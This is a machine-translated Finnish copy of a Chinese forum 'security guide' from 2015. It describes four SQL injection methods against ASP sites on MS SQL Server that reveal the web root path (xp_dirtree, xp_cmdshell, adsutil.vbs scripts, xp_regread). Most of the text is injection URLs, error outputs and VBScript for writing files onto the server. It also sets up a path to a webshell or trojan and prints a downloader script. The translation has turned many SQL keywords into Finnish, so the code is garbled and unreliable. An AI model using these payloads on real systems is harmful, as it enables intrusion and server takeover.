Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 11906|Vastaus: 0

[Turvallisuusopas] SQL-injektio saadakseen koko verkkosivuston polun

[Kopioi linkki]
Julkaistu 7.2.2015 22.19.16 | | |
SQL-injektio saadakseen koko verkkosivuston polun

Jos sivustolla on vain 80 porttia, löydät seuraavat menetelmät hyödyllisemmiksi
Lähes kaikki siinä käytetyt menetelmät eivät ole sitä, mitä itse löysin, ja artikkelissa on aina henkilökohtaista kokemusta ja taitoja pistoksessa
On olemassa neljä menetelmää (nykyään tunnettu)

Ensimmäinen menetelmä:

Tämä on <怪异的SQL注入>menetelmä, joka esiteltiin vuonna < >
Käyttäen sqlserverin xp_dirtree puhutaan ensin menetelmästä ja sen eduista ja haitoista (joitakin lisäyksiä tehdään alkuperäisen tekstin pohjalta)

Luo taulukot

Lausunto:http://www.xxxxx.com/down/list.asp?id=1;create  taulukko dirs(paths varchar(1000))--
Takaisin: Normaalia tietoa! Se tarkoittaa, että taulukko on onnistuneesti luotu! Jatka!
(Rakennettu on hieman isompi kuin alkuperäinen, koska olen törmännyt tiedostoon, jossa on pitkä nimi, ja poistin id:n, koska se on hyödytön)

Lausunto:http://www.xxxxx.com/down/list.asp?id=1;insert  Ohjaaja master.dbo.xp_dirtree 'C:\' --
Palautukset: Normaali tieto. Se tarkoittaa, että kaikki C-asemalle kirjoitetut hakemistot onnistuvat! Siistiä! Seuraava askel on saada mittari! Riko se ja tule ulos. (Näyttää siltä, että tähän on vain yksi tapa)

Lausunto:http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut dirsistä)-
Palautus: Microsoft OLE DB Provider for SQL Server -virhe 80040e07
Syntaksivirhe ilmenee, kun varchar-arvo '@Inetpub' muunnetaan sarakkeeksi, jonka tietotyyppi on int.

Sitten taulukon hakemistojen nimet räjähtävät ulos vuorollaan!

Lausunto:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut
dirs, missä polut eivät ole ('@Inetpub'))--
Palautus: Microsoft OLE DB Provider for SQL Server -virhe 80040e07
Syntaksivirhe ilmeni, kun varchar-arvo 'test' muunnettiin sarakkeeksi, jonka tietotyyppi on int.

Sitten taulukon hakemistojen nimet räjähtävät ulos vuorollaan!
Okei, jatketaan

Lausunto:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut
Dirs, missä polut eivät ole mukana ( '@Inetpub','test'))--
Palautus: Microsoft OLE DB Provider for SQL Server -virhe 80040e07
Syntaksivirhe ilmenee, kun varchar-arvo 'haha' muunnetaan sarakkeeksi, jonka tietotyyppi on int.

Sitten taulukon hakemistojen nimet räjähtävät ulos vuorollaan!

Okei, sinun pitäisi osata se, haha, lisää vain taulukon nimi siihen sulkeisiin, laita niin monta kuin haluat,

Pieni niksi:

Joskus huomaat, että kun syöte on samankaltainen

http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut dirsistä)-

Virheen sijaan verkkosivu näytetään normaalisti
Huimausta, älä hermostu.
Katso 0<> (valitse dirsistä top 1 -polut) osoittaaksesi, että palautus on luku,
Haha, kokeile ja katso, kuinka paljon se on

100>(valitse DIRS:stä top 1 -polut)

Takaisin normaaliin
Haha, tällä menetelmällä voi nopeasti arvata, että se on enemmän tai vähemmän
Okei, jatketaan
Esimerkiksi, kun se ilmestyy

59=(Valitse Top 1 -polut DIRS:stä)

Palaa normaaliksi,
ok, nimi on 59
Osallistu seuraavasti

http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut
Dirs, missä polut eivät olleet mukana ('59'))--

Muista laittaa lainausmerkit
Seuraava menetelmä on sama kuin alkuperäinen
On myös ongelma
Joskus, kun syötän 59 yllä olevalla menetelmällä, huomaan, että seuraava kansio on silti 59
Mitä on tekeillä?
Hehe, en tiedä oletko huomannut, että 059 ja 59 ovat sama asia?
Siksi haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut
Dirs, missä polut eivät sisällä ('059'))--

Huomasin, että seuraavan kansion nimi näkyy, okei

Etujen ja haittojen analyysi:

Etuna on, että kaikki SQL Serverin käyttäjät voivat käyttää sitä, koska xp_dirtree soveltaa JULKISEN käyttöoikeuden,
Haittapuolena on, että se näyttää kaikkien kansioiden nimet hakemistossa, ja järjestys vaikuttaa olevan epäjärjestyksessä, lyhyesti sanottuna on tuskallista löytää haluttu kansio tuhansista tai kymmenistä tuhansista kansioista.
Ja tiedät, että tuon kansion pitäminen ei ole taattua juurihakemistossa, mikä on todella kivulias asia, usein se riippuu onnesta ja kestävyydestä.
Toivotan sinulle menestystä

Menetelmä 2:

Hyödynnä xp_cmdshell

Haha, kaikki varmaan tuntevat tämän, sanon sen lyhyesti

Luo taulukot

Lausunto:http://www.xxxxx.com/down/list.asp?id=1;create  taulukko dirs(paths varchar(1000))--
Takaisin: Normaalia tietoa! Se tarkoittaa, että taulukko on onnistuneesti luotu! Jatka!
(Rakennettu on hieman isompi kuin alkuperäinen, koska olen törmännyt tiedostoon, jossa on pitkä nimi, ja poistin sen id:n, koska se on hyödytön.)

Lausunto:http://www.xxxxx.com/down/list.asp?id=1;insertohjaaja master.dbo.xp_cmdshell 'ohjaaja c:\ /B/D' --
Palautukset: Normaali tieto. Se tarkoittaa, että kaikki C-asemalle kirjoitetut hakemistot onnistuvat! dir c:\ /B/D on käytössä tässä, haha, jos et tiedä mitä /B/D tekee, yritä katsoa mitä se tekee

Lausunto:http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut dirsistä)-
Palautus: Microsoft OLE DB Provider for SQL Server -virhe 80040e07
Syntaksivirhe ilmenee, kun varchar-arvo '@Inetpub' muunnetaan sarakkeeksi, jonka tietotyyppi on int.

Sitten taulukon hakemistojen nimet räjähtävät ulos vuorollaan!

Lausunto:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse top 1 -polut
dirs, missä polut eivät ole ('@Inetpub'))--
Palautus: Microsoft OLE DB Provider for SQL Server -virhe 80040e07
Syntaksivirhe ilmeni, kun varchar-arvo 'test' muunnettiin sarakkeeksi, jonka tietotyyppi on int.

Sitten taulukon hakemistojen nimet räjähtävät ulos vuorollaan!

Menetelmä on sama kuin yllä, joten en puhu siitä

Joskus voimme myös tehdä jotain seuraavilla kahdella laajennuksella

1) Voimme hyödyntää xp_availablemedia saadaksemme kaikki nykyiset levyt ja tallentaaksemme ne dirs-taulukkoon:

5 ; lisää DIRS Exec master.dbo.xp_availablemedia; --

Voimme saada listan levyistä ja niihin liittyvää tietoa kysymällä väliaikaisen sisällön

(2) Voimme käyttää xp_subdirs saadaksemme alihakemistojen listan ja tallentaaksemme ne dirs-taulukkoon:

5 ; lisää DIRS:n suoritukseen master.dbo.xp_subdirs 'c:\' ; --

Etujen ja haittojen analyysi:

Tämä ei tietenkään xp_dirtree tilannetta, jossa kaikki hakemistot kootaan yhteen, vain ensimmäisen tason hakemisto näytetään, mikä on paljon helpompi löytää.
Haitat ovat myös ilmeisiä, vain SA:lla on tämä oikeus, ja on myös mahdollista, että ylläpitäjä on poistanut tämän laajennuksen (onhan se liian tehokas).

Menetelmä 3:

Tämä lähestymistapa on hyvä
Seuraava on alkuperäinen teksti
Ajattelin käyttää adsutil.vbs-ohjelmaa, jonka suoritin

a'; Toimitusjohtaja.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Eikö se ole pitkä? Sen avulla voimme perustaa ensimmäisen virtuaalisivuston IIS:ssä (mukaan lukien varsinainen hakemisto, jossa se sijaitsee, tietenkin)
Tuonti a.txt
Oletuksena a.txt varsinainen sijainti on tietysti c:\winnt\system32, mikä ei itse asiassa ole ongelma, mutta kun kohtaat ylläpitäjän, joka asettaa adsutil.vbs:n
Poista tai laita se muualle
Emme voi tehdä asialle mitään (et voi itse kirjoittaa sellaista, jossa on kaikukomento).

Vaihe 2: Käytä echo-komentoa kirjoittaaksesi seuraavan koodin muotoon c:\, mikä ei ole paljon

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
aseta fso1=createobject("scripting.filesystemobject"
Aseta WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
tee silloin kun et ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" niin
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
päättyy jos
Lenkki
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------leikkaus tähän-------------------------------------

Vaihe 3: Tietenkin se on read.vbs:n suorittaminen, jotta voimme lukea sisällön aa.txt ja löytää verkkosivuston varsinaisen polun
Kirjoita sitten tiedosto nimeltä dd.asp verkkosivuston juurihakemistoon, ja tiedät, pystytkö kokeilemaan sitä
suorittaahttp://x.x.x.x/dd.asp
Palautukset: \xxx
Haha, se on hyvä tapa,
Alkuperäisessä tekstissä näyttää kuitenkin olevan ongelmia
Se on

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Virhe syntyy, kun kaksi lausetta lähetetään
Joten keksimme plus-merkin, jolla on sama toiminto kuin &
Ja mistä kirjoittaa dd.asp? Kirjoita isälle, haha
Haha, vaihdoin sen

-------------------read.vbs---------------------------------
aseta fso1=createobject("scripting.filesystemobject"
Aseta WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
tee silloin kun et ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" niin
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
päättyy jos
Lenkki
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline PA
---------------leikkaus tähän--------------------------------------
Koska aikaluku muunnetaan välilyksi selaimessa, sinun tulisi myös asettaa
Se muuttuu %2B:ksi, okei, pitäisi olla kunnossa, kuten seuraavaa
-------------------read.vbs---------------------------------
aseta fso1=createobject("scripting.filesystemobject"
Aseta WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
tee silloin kun et ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" niin
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
päättyy jos
Lenkki
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline PA
---------------leikkaus tähän--------------------------------------

Jos löydämme, että 1 ei ole olemassa, voimme saada 2, 3, 4...........

a'; Toimitusjohtaja.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Mutta tätä menetelmää voi käyttää vain Windows 2000:ssa, koska vuoden 2003 alla luotujen uusien verkkosivustojen osoitteet eivät ole järjestetty 1234:n mukaan, ne vaikuttavat olevan satunnaisesti generoituja, ja olen verrannut useita vuoden 2003 alapuolella
osoite, säännöllisyyksiä ei löytynyt.

Etujen ja haittojen analyysi:

Sama xp_cmdshell Kaikki käyttäjät eivät voi käyttää sitä! Toinen ongelma on, että adsutil-tiedostoa ei välttämättä ole olemassa tai se ei välttämättä ole kyseisellä polulla, vaikka sitä voi käyttää halutessasi
Echo kirjoittaa yhden (haha, vanha ja vanha), ja toinen kysymys on, entä jos isännässä on monta sivustoa? Olen tavannut isännän, jolla on yhdeksän paikkaa, ja vain kahdeksas on hyödyllinen
Kyllä, heikko, kenenkään on vaikea jaksaa jaksata näin paljon, ehkä se on romahtanut jo kauan sitten. Lisäksi sitä ei voi käyttää vuonna 2003!
Mutta rehellisesti sanottuna tämä menetelmä on todellakin hyvä menetelmä

Menetelmä 4:

Tämä menetelmä on lukea polku rekisteristä xp_regread ym.
Seuraavaa suositellaan verkkosivun polun saamiseksi (lue rekisteri tallennettujen proseduurien kautta):
Hyödynnä sisäänrakennettua tallennettua proseduuria xp_regread (lue rekisteriavain, lupa julkinen):

Lausunto: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar(20) Executive Master.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , value=@test OUTPUT insert into path
(polku) arvot(@test)

IIS:n oletuspolku rekisterissä HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Käytä burst-kenttää tietokannan arvon lukemiseen:

Lause: http://www.xxx.com/list.asp?classid=1 ja 0<>(valitse top 1 -polut newtablesta)--return: Microsoft OLE DB Provider for
ODBC Drivers -virhe 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] muuntaa varchar-arvon E:\www,,201 tietotyypiksi int
kolumni.

Tämä tarkoittaa, että verkkosivuhakemisto on muodossa E:\www, ja voit myös käyttää FSO:ta kirjoittaaksesi suoraan ASP-troijalaiselle
Entä jos et saa verkkohakemistoa? Sinun täytyy arvata, käyttääkö sivusto oletus-WEB-nimeä vai verkkotunnusta WEB-nimenä.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "oletussivusto" -v "e","e:\"'

Luo virtuaalihakemisto E oletus-VERKKOSIVUSTOLLE, osoittaen E:levyn alla.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e selaa'

On hyvä lisätä selausattribuutit virtuaalihakemistoon e. Avaa itsellesi virtuaalipalvelu. Kun ajattelen noita verkkosivujen hakemistopolkuja, pääni on melkein rikki. Nyt avasin silmäni. Se on WEBSHELL, joka käyttää MS:ää
SQL on työmme loppu, ja seuraavan työn pitäisi olla sinun.
Haha, menetelmä on hyvä, lue se rekisteröintilomakkeesta, kätevää ja nopeaa!

Etujen ja haittojen analyysi:

Etuna on tietenkin se, että se on kätevää ja nopeaa. Haittapuolena on, että näet vain oletus-IIS-sivuston polun, ja jos se ei enää ole oletussivusto, et voi tehdä mitään (seurasin sitä Regsnapella), jos se on alle vuoden 2003
Eli edes oletussivuston polku ei näy! Kipua

Muuten, itse asiassa on muitakin tapoja jatkaa tunkeutumista kuin löytää sivuston polku, kuten lataamalla bounce-troijalainen tftp:n kautta tai kirjoittamalla iget.vbs-tiedoston ladataksesi haluamasi dongdongin
iget.vbs-koodi on seuraava:

---------aloita----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Avaa "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Aseta sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------loppu-----------

Tämän artikkelin liite:

Viime aikoina huomasin, että ymmärrykseni puheenjohtaja Maon ohjeista ei ollut riittävän syvällinen, ja haluan lisätä tähän
Itse asiassa yllä mainittuja menetelmiä ei tarvitse vertailla lainkaan, xp_dirtree ne ovat parhaita, kunhan tämä yksi menetelmä riittää
Se johtui vain siitä, että olin liian ..............
Tänään kaivan xp_dirtree salaisuuden uudelleen esiin
Okei, mennään mestariksi: xp_dirtree'd:/testi'
Oletetaan, että meillä on kaksi kansiota testissä, test1 ja test2, ja test3 testissä 1
Tulokset osoittavat

Alihakemiston syvyys
testi1 1
testi3 2
testi2 1

Haha, huomasin, ettei hakemiston sarjassa ole syvyyttä
Okei, tiedä mitä tehdä

http://www.xxxxx.com/down/list.asp?id=1;create  taulukko dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirsin johtaja master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(valitse DIRS:stä top 1 -polut, missä id=1)-

Kunhan id=1 lisätään, se on ensimmäisen tason hakemisto.





Edellinen:Tunkeutumisen läpäisy: HTTP-otsikoiden soveltaminen
Seuraava:Alipay-siirtokuvakaappaukset luodaan yhdellä klikkauksella
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com